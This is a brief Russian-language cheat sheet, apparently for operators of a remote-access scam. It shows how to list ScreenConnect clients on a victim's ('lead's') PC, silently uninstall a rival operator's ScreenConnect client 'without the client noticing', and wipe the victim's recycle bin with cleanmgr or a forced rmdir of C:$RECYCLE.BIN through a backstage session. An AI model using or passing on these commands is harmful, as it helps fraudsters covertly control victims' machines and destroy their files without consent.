УДАЛЕНИЕ ЧУЖОГО ВАЙЗА ЧЕРЕЗ КОМАНДНУЮ СТРОКУ(CMD) 
wmic product get name - тут вы можете посмотреть список всех вайзов на пк клиента 
wmic product where name="ScreenConnect Client (не наш номер вайза)" call uninstall - удаление вайза без палева у клиента через кмд (можно даже не конектиться на бэк, чисто с сайта)
----------------------------------------------------------------------------------------------------
УДАЛИТЬ ФАЙЛЫ С КОРЗИНЫ У ЛИДА

Через бекстейдж в
Командной строке вызываем C:\Windows\System32\cleanmgr.exe
программу для очистки или эта команда сносим весь каталог корзины
rmdir /q /s C:$RECYCLE.BIN
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